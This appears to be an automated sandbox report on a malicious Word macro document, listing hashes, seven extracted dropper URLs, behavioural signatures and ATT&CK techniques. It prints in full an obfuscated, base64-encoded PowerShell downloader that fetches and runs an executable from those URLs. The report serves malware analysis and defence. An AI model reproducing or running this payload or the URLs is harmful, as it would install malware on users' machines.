8573c35338d256c00f8807111d2736fac86afa7670f189c2c408a43752ecd8f0

General

Target

eab65f72e19aa83d7d83ced33327bfd0_JaffaCakes118.doc
Size

179KB
MD5

eab65f72e19aa83d7d83ced33327bfd0
SHA1

13a2f2d96165e1c0c78c7c45019daad417fc7088
SHA256

8573c35338d256c00f8807111d2736fac86afa7670f189c2c408a43752ecd8f0
SHA512

b4e22755cc7b1129c99a103acb8ea821646e65f0e322c3960d0ebcfb270660cf570b67c0ec072326ada0697271236e72f64a6661430ecb1952542aae6ce784bd
SSDEEP

1536:uasrbYasrb2rdi1Ir77zOH98Wj2gpng9+a93SGIRK9b/WYjd2LO6h/QC27TzvY:crfrzOH98ipgPSGYK9TngLOm27TzvY

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://sasystemsuk.com/index_files/j9b/

exe.dropper

https://case.gonukkad.com/sys-cache/fmC/

exe.dropper

http://vandamebuilders.com/wp-includes/OEyjc9x/

exe.dropper

https://nilinkeji.com/online/Dmz/

exe.dropper

http://paganwitch.com/wp-admin/CmubpSk/

exe.dropper

http://www.ekramco.ir/english/fn/

exe.dropper

http://votesteve.us/closed_zone/Bk/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4584	3048	powershell.exe	82

Blocklisted process makes network request 6 IoCs

flow	pid	Process
22	4584	powershell.exe
80	4584	powershell.exe
83	4584	powershell.exe
97	4584	powershell.exe
102	4584	powershell.exe
107	4584	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1764	WINWORD.EXE
1764	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4584	powershell.exe
4584	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4584	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1764	WINWORD.EXE
1764	WINWORD.EXE
1764	WINWORD.EXE
1764	WINWORD.EXE
1764	WINWORD.EXE
1764	WINWORD.EXE
1764	WINWORD.EXE
1764	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eab65f72e19aa83d7d83ced33327bfd0_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDC566.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qen23i0p.gji.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
17c7e3894d8c7290ac18c7bab8d98a18

SHA1
670f3f202c5845e807f0137c088196a98050efdd

SHA256
a2ccf41ec31ef0e8a81e52103c2f968e62a4afc72a18bb270a10eab22a1f1f84

SHA512
296e3c0996031a61e69ce6f41f379dbdb5e62f2515b13687d171d208cc4463c8b5c61dbe3500e20836d5e15a91c521bdc5fdb3119495522988fa88b3c56a7d5c

Download Submit
memory/1764-6-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-82-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-5-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-7-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-1-0x00007FFD3D34D000-0x00007FFD3D34E000-memory.dmp

Filesize
4KB

Download
memory/1764-8-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-9-0x00007FFCFB140000-0x00007FFCFB150000-memory.dmp

Filesize
64KB

Download
memory/1764-10-0x00007FFCFB140000-0x00007FFCFB150000-memory.dmp

Filesize
64KB

Download
memory/1764-17-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-18-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-601-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-599-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-2-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-4-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-83-0x00007FFD3D34D000-0x00007FFD3D34E000-memory.dmp

Filesize
4KB

Download
memory/1764-84-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-85-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-86-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-3-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-92-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/1764-600-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-0-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-597-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/1764-598-0x00007FFCFD330000-0x00007FFCFD340000-memory.dmp

Filesize
64KB

Download
memory/4584-580-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/4584-96-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download
memory/4584-61-0x000001F84F590000-0x000001F84F5B2000-memory.dmp

Filesize
136KB

Download
memory/4584-60-0x00007FFD3D2B0000-0x00007FFD3D4A5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads